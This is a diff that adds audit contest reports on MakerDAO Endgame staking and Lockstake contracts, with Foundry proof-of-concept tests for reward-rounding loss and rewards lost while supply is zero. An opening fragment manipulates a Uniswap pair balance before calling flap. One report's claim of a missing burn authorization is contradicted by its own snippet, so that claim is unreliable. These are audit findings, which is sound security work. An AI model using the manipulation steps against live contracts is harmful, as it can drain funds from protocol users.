GemLike(MKR).balanceOf(UNIV2_DAI_MKR_PAIR) * 1005/ 1000); + PairLike(UNIV2_DAI_MKR_PAIR).sync(); + vow.flap(); + } +} +``` + +### Mitigation + +Add ```pair().sync()``` to _getReserve(): + +```diff + function _getReserves() internal view returns (uint256 reserveDai, uint256 reserveGem) { ++ pair.sync(); + (uint256 _reserveA, uint256 _reserveB,) = pair.getReserves(); + (reserveDai, reserveGem) = daiFirst ? (_reserveA, _reserveB) : (_reserveB, _reserveA); + } + +``` \ No newline at end of file diff --git a/009/007.md b/009/007.md new file mode 100644 index 0000000..0fd0236 --- /dev/null +++ b/009/007.md @@ -0,0 +1,438 @@ +Unique Pistachio Chipmunk + +High + +# Loss of rewards due to frequent call of modifier ```updateReward()```. + +### Summary + +The code will be deployed on Ethereum. As a result, the average block time is 12 seconds, resulting in five blocks per minute. Given the huge number of users in Makerdao and five functions in ```StakingRewards``` that has the modifier ```updateReward()```, the chance that there is someone who will call a function with the ```updateReward()``` per block is pretty high (only need five users per minute). Therefore, the tokens to be claimed might be a small value (accumulated in 12 seconds), due to rounding down error, this might lead to zero increase of ```rewardPerTokenStored```, loss of rewards for all users. This will occur more frequently when _supply becomes larger, as the number of users increases. + +The loss of rewards has high probability to occur by itself (zero cost) and affect each participant (might near 100% loss). Therefore, I mark this finding as *high*. + +### Root Cause + +The accumulation of rewards is performed by ```updateReward()```, a modifier for the five reward-related functions. + + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L191C2-L199C6](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L191C2-L199C6) + +```updateReward()``` calls ```rewardPerToken()``` to calculate the new ```rewardPerTokenStored```: + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L84-L90](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L84-L90) + +However, if ```updateReward()``` is called too often, then due to round down error, ```(((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18) / _totalSupply)``` might be zero, leading to no increase for ```rewardPerTokenStored``` and the loss of rewards for participants (```rewardPerTokenStored``` is updated at L192). + +### Internal pre-conditions + +```_totalSupply``` is a large number, will contribute easier loss of rewards due to easier rounding down to zero error. + +### External pre-conditions +Frequent call of any function with the modifier ```updateReward()```, which is expected due to the large number of MakerDao users and only five blocks per minute for Ethereum and the five functions in the RewardsStaking contract. + +### Attack Path + +No malicious code needs to be deployed. It will occur by itself when the user base increases and the ```_totalSupply``` increases, leading to HIGH probability of more frequent call of a function (five of such functions) with the modifier ```updateReward()```. + +### Impact + + Loss of rewards due to frequent call of any function with the modifier ```updateReward()```. + +### PoC + +consider the case of using NGT/NST as rewards/stake tokens, both of them have18 decimals. + +Suppose_totalSupply = 100, 000, 000 ether and the amount of NGT rewards claimed ```(((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate``` is smaller than 100,000, 000, say 99,999,999. + +Then, we have ```99,999,999 * e18 / 100, 000, 000 * e18 = 0```. Therefore, no increase for ```rewardPerTokenStored ```, the rewards accumulated are lost for all. + +In the following, we show that: + +1) we set the total amount of reward tokens to be result.tot = 1.5 ether / 100000. +2) Bob stakes 100,000,000 ether staking tokens, as a result we have _totalSupply = 100000000000000000000000000; +3) rewardRate: 8267195 +4) Each 12 seconds, we only accumulate 99206340 reward tokens; +5) After 12 seconds, when Bob calls getReward(), he gets no rewards at all! This is due the the rounding down error, and the accumulated reward of 99206340 are lost due to no increase of ```rewardPerTokenStored ```. +6) run ```forge test --match-test testReward1 -vv```. +7) Install the Dsstest package under lib from https://github.com/makerdao/dss-vest. +8) change result.tot = 1.5 ether / 100000. + + +```solidity +// SPDX-FileCopyrightText: © 2023 Dai Foundation +// SPDX-License-Identifier: AGPL-3.0-or-later +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . +pragma solidity ^0.8.16; + +import {DssTest, stdStorage, StdStorage} from "dss-test/DssTest.sol"; +import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol"; +import {DssVestWithGemLike} from "./interfaces/DssVestWithGemLike.sol"; +import {IStakingRewards} from "./synthetix/interfaces/IStakingRewards.sol"; +import {StakingRewards} from "./synthetix/StakingRewards.sol"; +import {SDAO} from "./SDAO.sol"; +import {VestedRewardsDistribution} from "./VestedRewardsDistribution.sol"; +import "forge-std/Test.sol"; +import "forge-std/console2.sol"; +import {DssVestMintable} from "lib/dss-vest/src/DssVest.sol"; +import {ERC20Mock} from "openzeppelin-contracts/mocks/ERC20Mock.sol"; + +contract VestedRewardsDistributionTest is DssTest { + using stdStorage for StdStorage; + + struct VestParams { + address usr; + uint256 tot; + uint256 bgn; + uint256 tau; + uint256 eta; + } + + struct DistributionParams { + VestedRewardsDistribution dist; + DssVestWithGemLike vest; + IStakingRewards rewards; + IERC20Mintable rewardsToken; + uint256 vestId; + VestParams vestParams; + } + + DistributionParams k; + IERC20Mintable rewardsToken; + ERC20Mock stakingToken; + + uint256 constant DEFAULT_DURATION = 365 days; + uint256 constant DEFAULT_CLIFF = 0; + uint256 constant DEFAULT_STARTING_RATE = uint256(200_000 * WAD) / DEFAULT_DURATION; + uint256 constant DEFAULT_FINAL_RATE = uint256(2_000_000 * WAD) / DEFAULT_DURATION; + uint256 constant DEFAULT_TOTAL_REWARDS = ((DEFAULT_STARTING_RATE + DEFAULT_FINAL_RATE) * DEFAULT_DURATION) / 2; + + + + function setUp() public { + // DssVest checks if params are not too far away in the future or in the past relative to `block.timestamp`. + // It has a 20 years interval check hardcoded, so we need to be at a time that is at least 20 years ahead of + // the Unix epoch. We are setting the current date of the chain to 2000-01-01 to comply with that requirement. + vm.warp(946692000); + + rewardsToken = IERC20Mintable(address(new SDAO("K Token", "K"))); + console2.log("inital rewardsToken: ", address(rewardsToken)); + stakingToken = new ERC20Mock("NST", "NST", address(111), 1); + console2.log("initial stakingToken: ", address(stakingToken)); + + k = _setUpDistributionParams( + DistributionParams({ + dist: VestedRewardsDistribution(address(0)), + vest: DssVestWithGemLike(address(0)), + rewards: IStakingRewards(address(0)), + rewardsToken: rewardsToken, + vestId: 0, + vestParams: _makeVestParams() + }) + ); + } + + function testReward1() public{ + address Bob = makeAddr("Bob"); + + console2.log("\n testDistribution..........................."); + printk(); + // 1st distribution + skip(k.vestParams.tau / 3); + assertEq(k.rewardsToken.balanceOf(address(k.rewards)), 0, "Bad initial balance"); + + printVestAward(1); + + vm.expectEmit(false, false, false, true, address(k.dist)); + emit Distribute(k.vestParams.tot / 3); + console2.log("distribute 1........................"); + k.dist.distribute(); + + console2.log("Bob stakes rewards..."); + + deal(address(stakingToken), Bob, 100000000 ether); // 100M ether + + vm.startPrank(Bob); + stakingToken.approve(address(k.rewards), 100000000 ether); + k.rewards.stake(100000000 ether); + vm.stopPrank(); + + console2.log("Bob gets rewards..."); + + skip(12 seconds); + vm.startPrank(Bob); + k.rewards.getReward(); + vm.stopPrank(); + + assertEq(k.rewardsToken.balanceOf(Bob), 0); + } + + + function printk() public{ + console2.log("\n k values: $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + console2.log("dist: ", address(k.dist)); + console2.log("vest: ", address(k.vest)); + console2.log("rewards (staking contract): ", address(k.rewards)); + console2.log("stakingToken: ", address(stakingToken)); + console2.log("rewardsToken:", address(k.rewardsToken)); + console2.log("vesatId: ", k.vestId); + console2.log("vestParams.usr:", k.vestParams.usr); + console2.log("vestParams.tot:", k.vestParams.tot); + console2.log("vestParams.bgn:", k.vestParams.bgn); + console2.log("vestParams.tau:", k.vestParams.tau); + console2.log("vestParams.eta:", k.vestParams.eta); + console2.log("$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n "); + } + + function printVestAward(uint256 i) public { + DssVestWithGemLike.Award memory a = k.vest.awards(i); + + console2.log("The vest award information for ============", i); + console2.log("usr: ", a.usr); + console2.log("bgn: ", a.bgn); + console2.log("clf: ", a.clf); // The cliff date + console2.log("fin: ", a.fin); + console2.log("mgr: ", a.mgr); + console2.log("res: ", a.res); + console2.log("tot: ", a.tot); + console2.log("rxd: ", a.rxd); + console2.log("=========================================="); + } + + function printBalances(address a, string memory name) public + { + console2.log("\n ======================================="); + console2.log("balances for : ", name); + console2.log("rewards token balance: ", k.rewardsToken.balanceOf(a)); + console2.log("=======================================\n"); + } + + + function testDistribute1() public { + console2.log("\n testDistribution..........................."); + printk(); + // 1st distribution + skip(k.vestParams.tau / 3); + assertEq(k.rewardsToken.balanceOf(address(k.rewards)), 0, "Bad initial balance"); + + printVestAward(1); + + vm.expectEmit(false, false, false, true, address(k.dist)); + emit Distribute(k.vestParams.tot / 3); + console2.log("distribute 1........................"); + console2.log("distribute time: ", block.timestamp); + k.dist.distribute(); + + printBalances(address(k.rewards), "RewardsStaking"); + printBalances(address(k.dist), "Distribution"); + + // 2nd distribution + skip(k.vestParams.tau / 3); + + vm.expectEmit(false, false, false, true, address(k.dist)); + emit Distribute(k.vestParams.tot / 3); + console2.log("distribute 2........................"); + k.dist.distribute(); + + + printBalances(address(k.rewards), "RewardsStaking"); + printBalances(address(k.dist), "Distribution"); + + // 3rd distribution + skip(k.vestParams.tau / 3); + + vm.expectEmit(false, false, false, true, address(k.dist)); + emit Distribute(k.vestParams.tot / 3); + console2.log("distribute 3........................"); + k.dist.distribute(); + + printBalances(address(k.rewards), "RewardsStaking"); + printBalances(address(k.dist), "Distribution"); + } + + + + function _setUpDistributionParams( + DistributionParams memory _distParams + ) internal returns (DistributionParams memory result) { + result = _distParams; + + if (address(result.rewardsToken) == address(0)) { + result.rewardsToken = IERC20Mintable(address(new SDAO("Token", "TKN"))); + } + + + if (address(result.vest) == address(0)) { + //result.vest = DssVestWithGemLike( ????? + // deployCode("DssVest.sol:DssVestMintable", abi.encode(address(result.rewardsToken))) + //); + result.vest = DssVestWithGemLike(address(new DssVestMintable(address(result.rewardsToken)))); + result.vest.file("cap", type(uint256).max); + } + + if (address(result.rewards) == address(0)) { // stakingTokens is zero? + result.rewards = new StakingRewards(address(this), address(0), address(result.rewardsToken), address(stakingToken)); + } + + + if (address(result.dist) == address(0)) { + result.dist = new VestedRewardsDistribution(address(result.vest), address(result.rewards)); + } + + result.rewards.setRewardsDistribution(address(result.dist)); + _distParams.vestParams.usr = address(result.dist); // distribution is the usr + + (result.vestId, result.vestParams) = _setUpVest(result.vest, _distParams.vestParams); + result.dist.file("vestId", result.vestId); + // Allow DssVest to mint tokens + WardsLike(address(result.rewardsToken)).rely(address(result.vest)); // vest can call authorized fucntions in rewardsToken + } + + function _setUpVest( + DssVestWithGemLike _vest, + address _usr + ) internal returns (uint256 _vestId, VestParams memory result) { + return _setUpVest(_vest, _usr, true); + } + + function _setUpVest( + DssVestWithGemLike _vest, + address _usr, + bool restrict + ) internal returns (uint256 _vestId, VestParams memory result) { + return _setUpVest(_vest, VestParams({usr: _usr, tot: 0, bgn: 0, tau: 0, eta: 0}), restrict); + } + + function _setUpVest( + DssVestWithGemLike _vest, + VestParams memory _v + ) internal returns (uint256 _vestId, VestParams memory result) { + return _setUpVest(_vest, _v, true); + } + + function _setUpVest( + DssVestWithGemLike _vest, + VestParams memory _v, + bool restrict + ) internal returns (uint256 _vestId, VestParams memory result) { + result = _v; + + if (result.usr == address(0)) { + revert("_setUpVest: usr not set"); + } + if (result.tot == 0) { + result.tot = 1.5 ether / 100000; // change this ???? + } + if (result.bgn == 0) { + result.bgn = block.timestamp; + } + if (result.tau == 0) { + result.tau = DEFAULT_DURATION; + } + if (result.eta == 0) { + result.eta = DEFAULT_CLIFF; + } + + _vestId = _vest.create(result.usr, result.tot, result.bgn, result.tau, result.eta, address(0)); + if (restrict) { + _vest.restrict(_vestId); + } + } + + function _makeVestParams() internal pure returns (VestParams memory) { + return VestParams({usr: address(0), tot: 0, bgn: 0, tau: 0, eta: 0}); + } + + bytes16 private constant _SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toString(uint256 value) internal pure returns (string memory) { + unchecked { + uint256 length = log10(value) + 1; + string memory buffer = new string(length); + uint256 ptr; + /// @solidity memory-safe-assembly + assembly { + ptr := add(buffer, add(32, length)) + } + while (true) { + ptr--; + /// @solidity memory-safe-assembly + assembly { + mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) + } + value /= 10; + if (value == 0) break; + } + return buffer; + } + } + + /** + * @dev Return the log in base 10, rounded down, of a positive value. + * Returns 0 if given 0. + */ + function log10(uint256 value) internal pure returns (uint256) { + uint256 result = 0; + unchecked { + if (value >= 10 ** 64) { + value /= 10 ** 64; + result += 64; + } + if (value >= 10 ** 32) { + value /= 10 ** 32; + result += 32; + } + if (value >= 10 ** 16) { + value /= 10 ** 16; + result += 16; + } + if (value >= 10 ** 8) { + value /= 10 ** 8; + result += 8; + } + if (value >= 10 ** 4) { + value /= 10 ** 4; + result += 4; + } + if (value >= 10 ** 2) { + value /= 10 ** 2; + result += 2; + } + if (value >= 10 ** 1) { + result += 1; + } + } + return result; + } + + event Distribute(uint256 amount); +} + +interface IERC20Mintable is IERC20 { + function mint(address, uint256) external; +} + +interface WardsLike { + function rely(address) external; +} +``` + + + +### Mitigation + +Manage ```dustRewards``` as those accumulated rewards that have not been accounted for in ```rewardPerTokenStored```. In this way, no accumulated rewards will be lost even they are small. \ No newline at end of file diff --git a/009/096.md b/009/096.md new file mode 100644 index 0000000..11ebe75 --- /dev/null +++ b/009/096.md @@ -0,0 +1,475 @@ +Unique Pistachio Chipmunk + +Medium + +# Rewards accrued during the period of _totalSupply = 0 will get lost forever. + +### Summary + +During the period of ```_totalSupply = 0```, rewards will continue to accrue but are not distributed to any staker, as a result, these rewards will get lost forever. Loss of funds for the protocol. + +Given the 100% loss nature during this period, but the relative low probability of its occurence, I give a balanced ranking of ```medium```. + +### Root Cause + +During the period of ```_totalSupply = 0```, rewards will continue to accrue but are not distributed to any staker. + +- ```rewardPerTokenStored``` remains the same. No distribution to stakers. +- ```lastUpdateTime``` will be updated, means accrue happens. The remaining reward period ```periodFinish - lastUpdateTime``` will be shortened. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L191-L199](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L191-L199) + +### Internal pre-conditions + +_supply = 0. + +### External pre-conditions + +Some time passes while _supply = 0 when there is an ongoing rewardRate != 0. + +### Attack Path + +Below our POC shows how the rewards might get lost: + +1. Bob stakes 50000000 ether of staking tokens; +2. After 10512000 secs, 5000000000000 reward tokens are sent to the ```StakingRewards``` contract, initiating a reward stream of with a reward rate of 8267195. +3. After 1 day, Bob withdraws 50000000 ether of staking tokens and gets 714250000000 reward tokens. +4. After 356 days (an exaggeration but this is the period that rewards get lost), we call ```k.rewards.notifyRewardAmount(0)``` to start a new reward stream only using the remaining rewards in the ```StakingRewards```, if any. +5. Although there is 4285750000000 reward tokens in the ```StakingRewards```, they are stuck and not available for future dispense, as confirmed by ```rewardRate = 0```. The following experiment further confirms future staking cannot get reward. +6. Bob stakes another 50000000 ether of staking tokens and wait for one day to withdraw them and get reward. This time, he gets 0 reward since ```rewardRate = 0```. This further confirms that the remaining rewards (4285750000000) are all lost in the contract during that 356 days. They are lost forever and are not available for future dispense. + + +### Impact + +Rewards accrued during the period of _totalSupply = 0 will get lost forever. This is a loss for the protocol. + +### PoC + + +run ```forge test --match-test testLostReward1 -vv```. + +```javascript +// SPDX-FileCopyrightText: © 2023 Dai Foundation +// SPDX-License-Identifier: AGPL-3.0-or-later +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . +pragma solidity ^0.8.16; + +import {DssTest, stdStorage, StdStorage} from "dss-test/DssTest.sol"; +import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol"; +import {DssVestWithGemLike} from "./interfaces/DssVestWithGemLike.sol"; +import {StakingRewards} from "./synthetix/StakingRewards.sol"; +import {SDAO} from "./SDAO.sol"; +import {VestedRewardsDistribution} from "./VestedRewardsDistribution.sol"; +import "forge-std/Test.sol"; +import "forge-std/console2.sol"; +import {DssVestMintable} from "lib/dss-vest/src/DssVest.sol"; +import {ERC20Mock} from "openzeppelin-contracts/mocks/ERC20Mock.sol"; + +contract VestedRewardsDistributionTest is DssTest { + using stdStorage for StdStorage; + + struct VestParams { + address usr; + uint256 tot; + uint256 bgn; + uint256 tau; + uint256 eta; + } + + struct DistributionParams { + VestedRewardsDistribution dist; + DssVestWithGemLike vest; + StakingRewards rewards; + IERC20Mintable rewardsToken; + uint256 vestId; + VestParams vestParams; + } + + DistributionParams k; + IERC20Mintable rewardsToken; + ERC20Mock stakingToken; + + uint256 constant DEFAULT_DURATION = 365 days; + uint256 constant DEFAULT_CLIFF = 0; + uint256 constant DEFAULT_STARTING_RATE = uint256(200_000 * WAD) / DEFAULT_DURATION; + uint256 constant DEFAULT_FINAL_RATE = uint256(2_000_000 * WAD) / DEFAULT_DURATION; + uint256 constant DEFAULT_TOTAL_REWARDS = ((DEFAULT_STARTING_RATE + DEFAULT_FINAL_RATE) * DEFAULT_DURATION) / 2; + + + + function setUp() public { + // DssVest checks if params are not too far away in the future or in the past relative to `block.timestamp`. + // It has a 20 years interval check hardcoded, so we need to be at a time that is at least 20 years ahead of + // the Unix epoch. We are setting the current date of the chain to 2000-01-01 to comply with that requirement. + vm.warp(946692000); + + rewardsToken = IERC20Mintable(address(new SDAO("K Token", "K"))); + console2.log("inital rewardsToken: ", address(rewardsToken)); + stakingToken = new ERC20Mock("NST", "NST", address(111), 1); + console2.log("initial stakingToken: ", address(stakingToken)); + + k = _setUpDistributionParams( + DistributionParams({ + dist: VestedRewardsDistribution(address(0)), + vest: DssVestWithGemLike(address(0)), + rewards: StakingRewards(address(0)), + rewardsToken: rewardsToken, + vestId: 0, + vestParams: _makeVestParams() + }) + ); + } + + function testLostReward1() public{ + address Bob = makeAddr("Bob"); + deal(address(stakingToken), Bob, 100000000 ether); // 100M ether + + console2.log("\n Bob stakes 50000000 ether..........................."); + vm.startPrank(Bob); // 1. stake 50 000 000 ether + stakingToken.approve(address(k.rewards), 50000000 ether); + k.rewards.stake(50000000 ether); + vm.stopPrank(); + + // printk(); + + // 1st distribution + skip(k.vestParams.tau / 3); + console2.log("after: ", k.vestParams.tau / 3); + + console2.log(" before distribute 1........................"); + printBalances(address(k.rewards), "StakingRewards"); + + k.dist.distribute(); + + console2.log(" after distribute 1........................"); + printBalances(address(k.rewards), "StakingRewards"); + console2.log("rewardRate: ", k.rewards.rewardRate()); + + + + skip(1 days); + console2.log("after 1 day...\n"); + + console2.log("\n Before Bob withdraw 50000000 ether and get reward..........................."); + printBalances(address(k.rewards), "StakingRewards"); + printBalances(Bob, "Bob"); + + vm.startPrank(Bob); // 2. stake another 50 000 000 ether + k.rewards.withdraw(50000000 ether); + k.rewards.getReward(); + vm.stopPrank(); + + console2.log("\n Before Bob withdraw 50000000 ether and get reward..........................."); + printBalances(address(k.rewards), "StakingRewards"); + printBalances(Bob, "Bob"); + + uint256 initialRewardBalance = k.rewardsToken.balanceOf(Bob); + + skip(365 days); + console2.log("after 356 days...\n"); + // by now all rewards have been accrued but not distributed to stakers, they are lost + + // simulate to distribute zero so that we can use the remaining rewards in the stakingRewards for future accrue + vm.startPrank(address(k.dist)); + k.rewards.notifyRewardAmount(0); + vm.stopPrank(); + assertEq(k.rewardsToken.balanceOf(address(k.rewards)), 4285750000000); + assertEq(k.rewards.rewardRate(), 0); + + + + console2.log("\n Bob stakes 50000000 ether..........................."); + vm.startPrank(Bob); // 1. stake 50 000 000 ether + stakingToken.approve(address(k.rewards), 50000000 ether); + k.rewards.stake(50000000 ether); + vm.stopPrank(); + + skip(1 days); // after one day, Bob still receives no reward + console2.log("after 1 day...\n"); + + console2.log("\n Before Bob withdraw 50000000 ether and get reward..........................."); + printBalances(address(k.rewards), "StakingRewards"); + printBalances(Bob, "Bob"); + + + vm.startPrank(Bob); // 2. stake another 50 000 000 ether + k.rewards.withdraw(50000000 ether); + k.rewards.getReward(); + vm.stopPrank(); + + console2.log("\n After Bob withdraw 50000000 ether and get reward..........................."); + printBalances(address(k.rewards), "StakingRewards"); + printBalances(Bob, "Bob"); + + uint256 finalRewardBalance = k.rewardsToken.balanceOf(Bob); + assertEq(initialRewardBalance, finalRewardBalance); + } + + + function printk() public{ + console2.log("\n k values: $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + console2.log("dist: ", address(k.dist)); + console2.log("vest: ", address(k.vest)); + console2.log("rewards (staking contract): ", address(k.rewards)); + console2.log("stakingToken: ", address(stakingToken)); + console2.log("rewardsToken:", address(k.rewardsToken)); + console2.log("vesatId: ", k.vestId); + console2.log("vestParams.usr:", k.vestParams.usr); + console2.log("vestParams.tot:", k.vestParams.tot); + console2.log("vestParams.bgn:", k.vestParams.bgn); + console2.log("vestParams.tau:", k.vestParams.tau); + console2.log("vestParams.eta:", k.vestParams.eta); + console2.log("$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n "); + } + + function printVestAward(uint256 i) public { + DssVestWithGemLike.Award memory a = k.vest.awards(i); + + console2.log("The vest award information for ============", i); + console2.log("usr: ", a.usr); + console2.log("bgn: ", a.bgn); + console2.log("clf: ", a.clf); // The cliff date + console2.log("fin: ", a.fin); + console2.log("mgr: ", a.mgr); + console2.log("res: ", a.res); + console2.log("tot: ", a.tot); + console2.log("rxd: ", a.rxd); + console2.log("=========================================="); + } + + function printBalances(address a, string memory name) public + { + console2.log("\n ======================================="); + console2.log("balances for : ", name); + console2.log("rewards token balance: ", k.rewardsToken.balanceOf(a)); + console2.log("=======================================\n"); + } + + + function testDistribute1() public { + console2.log("\n testDistribution..........................."); + printk(); + // 1st distribution + skip(k.vestParams.tau / 3); + assertEq(k.rewardsToken.balanceOf(address(k.rewards)), 0, "Bad initial balance"); + + printVestAward(1); + + vm.expectEmit(false, false, false, true, address(k.dist)); + emit Distribute(k.vestParams.tot / 3); + console2.log("distribute 1........................"); + console2.log("distribute time: ", block.timestamp); + k.dist.distribute(); + + printBalances(address(k.rewards), "RewardsStaking"); + + + // 2nd distribution + skip(k.vestParams.tau / 3); + + vm.expectEmit(false, false, false, true, address(k.dist)); + emit Distribute(k.vestParams.tot / 3); + console2.log("distribute 2........................"); + k.dist.distribute(); + + + printBalances(address(k.rewards), "RewardsStaking"); + printBalances(address(k.dist), "Distribution"); + + // 3rd distribution + skip(k.vestParams.tau / 3); + + vm.expectEmit(false, false, false, true, address(k.dist)); + emit Distribute(k.vestParams.tot / 3); + console2.log("distribute 3........................"); + k.dist.distribute(); + + printBalances(address(k.rewards), "RewardsStaking"); + printBalances(address(k.dist), "Distribution"); + } + + + + function _setUpDistributionParams( + DistributionParams memory _distParams + ) internal returns (DistributionParams memory result) { + result = _distParams; + + if (address(result.rewardsToken) == address(0)) { + result.rewardsToken = IERC20Mintable(address(new SDAO("Token", "TKN"))); + } + + + if (address(result.vest) == address(0)) { + //result.vest = DssVestWithGemLike( ????? + // deployCode("DssVest.sol:DssVestMintable", abi.encode(address(result.rewardsToken))) + //); + result.vest = DssVestWithGemLike(address(new DssVestMintable(address(result.rewardsToken)))); + result.vest.file("cap", type(uint256).max); + } + + if (address(result.rewards) == address(0)) { // stakingTokens is zero? + result.rewards = new StakingRewards(address(this), address(0), address(result.rewardsToken), address(stakingToken)); + } + + + if (address(result.dist) == address(0)) { + result.dist = new VestedRewardsDistribution(address(result.vest), address(result.rewards)); + } + + result.rewards.setRewardsDistribution(address(result.dist)); + _distParams.vestParams.usr = address(result.dist); // distribution is the usr + + (result.vestId, result.vestParams) = _setUpVest(result.vest, _distParams.vestParams); + result.dist.file("vestId", result.vestId); + // Allow DssVest to mint tokens + WardsLike(address(result.rewardsToken)).rely(address(result.vest)); // vest can call authorized fucntions in rewardsToken + } + + function _setUpVest( + DssVestWithGemLike _vest, + address _usr + ) internal returns (uint256 _vestId, VestParams memory result) { + return _setUpVest(_vest, _usr, true); + } + + function _setUpVest( + DssVestWithGemLike _vest, + address _usr, + bool restrict + ) internal returns (uint256 _vestId, VestParams memory result) { + return _setUpVest(_vest, VestParams({usr: _usr, tot: 0, bgn: 0, tau: 0, eta: 0}), restrict); + } + + function _setUpVest( + DssVestWithGemLike _vest, + VestParams memory _v + ) internal returns (uint256 _vestId, VestParams memory result) { + return _setUpVest(_vest, _v, true); + } + + function _setUpVest( + DssVestWithGemLike _vest, + VestParams memory _v, + bool restrict + ) internal returns (uint256 _vestId, VestParams memory result) { + result = _v; + + if (result.usr == address(0)) { + revert("_setUpVest: usr not set"); + } + if (result.tot == 0) { + result.tot = 1.5 ether / 100000; // change this ???? + } + if (result.bgn == 0) { + result.bgn = block.timestamp; + } + if (result.tau == 0) { + result.tau = DEFAULT_DURATION; + } + if (result.eta == 0) { + result.eta = DEFAULT_CLIFF; + } + + _vestId = _vest.create(result.usr, result.tot, result.bgn, result.tau, result.eta, address(0)); + if (restrict) { + _vest.restrict(_vestId); + } + } + + function _makeVestParams() internal pure returns (VestParams memory) { + return VestParams({usr: address(0), tot: 0, bgn: 0, tau: 0, eta: 0}); + } + + bytes16 private constant _SYMBOLS = "0123456789abcdef"; + + /** + * @dev Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toString(uint256 value) internal pure returns (string memory) { + unchecked { + uint256 length = log10(value) + 1; + string memory buffer = new string(length); + uint256 ptr; + /// @solidity memory-safe-assembly + assembly { + ptr := add(buffer, add(32, length)) + } + while (true) { + ptr--; + /// @solidity memory-safe-assembly + assembly { + mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) + } + value /= 10; + if (value == 0) break; + } + return buffer; + } + } + + /** + * @dev Return the log in base 10, rounded down, of a positive value. + * Returns 0 if given 0. + */ + function log10(uint256 value) internal pure returns (uint256) { + uint256 result = 0; + unchecked { + if (value >= 10 ** 64) { + value /= 10 ** 64; + result += 64; + } + if (value >= 10 ** 32) { + value /= 10 ** 32; + result += 32; + } + if (value >= 10 ** 16) { + value /= 10 ** 16; + result += 16; + } + if (value >= 10 ** 8) { + value /= 10 ** 8; + result += 8; + } + if (value >= 10 ** 4) { + value /= 10 ** 4; + result += 4; + } + if (value >= 10 ** 2) { + value /= 10 ** 2; + result += 2; + } + if (value >= 10 ** 1) { + result += 1; + } + } + return result; + } + + event Distribute(uint256 amount); +} + +interface IERC20Mintable is IERC20 { + function mint(address, uint256) external; +} + +interface WardsLike { + function rely(address) external; +} +``` + +### Mitigation + +Introduce a new state variable called "remaining". When ```_supply = 0```, accrued rewards should be added to ```remaining```. Rewards accrued in ```remaining``` can be dispensed in another new stream. \ No newline at end of file diff --git a/010/013.md b/010/013.md new file mode 100644 index 0000000..e8eae4e --- /dev/null +++ b/010/013.md @@ -0,0 +1,86 @@ +Cuddly Inky Rat + +High + +# Unauthorized Burning of MRT tokens can lead loss of funds of a user and totalsupply + +## Summary +The burn function in the LockstakeMkr contract has potential vulnerabilities due to missing explicit authorization checks. This can lead to unauthorized addresses being able to burn tokens, resulting in a significant loss of funds for token holders. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeMkr.sol#L124 +## Vulnerability Detail +The burn function is designed to decrease the token balance of a specified address and reduce the total token supply. However, the function lacks an explicit authorization check to ensure that only authorized addresses can call it, just like the [mint](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeMkr.sol#L114) function. + +This omission can be exploited by malicious actors to burn tokens without the token holder's consent. + +Alice has 100 tokens. +Bob has an allowance to spend 50 tokens on behalf of Alice. +If the burn function lacks a proper authorization check (assuming requires auth is not enforced), Bob or any other address could call the burn function directly. +Bob calls burn(Alice, 50), reducing Alice's balance by 50 tokens and the total supply by 50 tokens. + +Since there is no authorization check, Bob could repeatedly call this function to burn tokens from Alice's balance without her consent, resulting in a significant loss of funds for Alice and also reducing the totalsupply significantly. + +This can happen multiple times, affecting others, oneself, and the total supply of the contract in general. + +## Impact +Unauthorized token burning can lead to unexpected loss of tokens for individual holders, decreasing their token balance and overall stake in the protocol. + +The total token supply can be manipulated, affecting the overall market dynamics and trust in the token's stability. + +## Code Snippet +```solidity +function burn(address from, uint256 value) external { + // requires auth (assuming this is enforced elsewhere in the contract) + uint256 balance = balanceOf[from]; + require(balance >= value, "LockstakeMkr/insufficient-balance"); + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "LockstakeMkr/insufficient-allowance"); + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + unchecked { + balanceOf[from] = balance - value; + totalSupply = totalSupply - value; + } + + emit Transfer(from, address(0), value); +} +``` + +## Tool used +Manual Review + 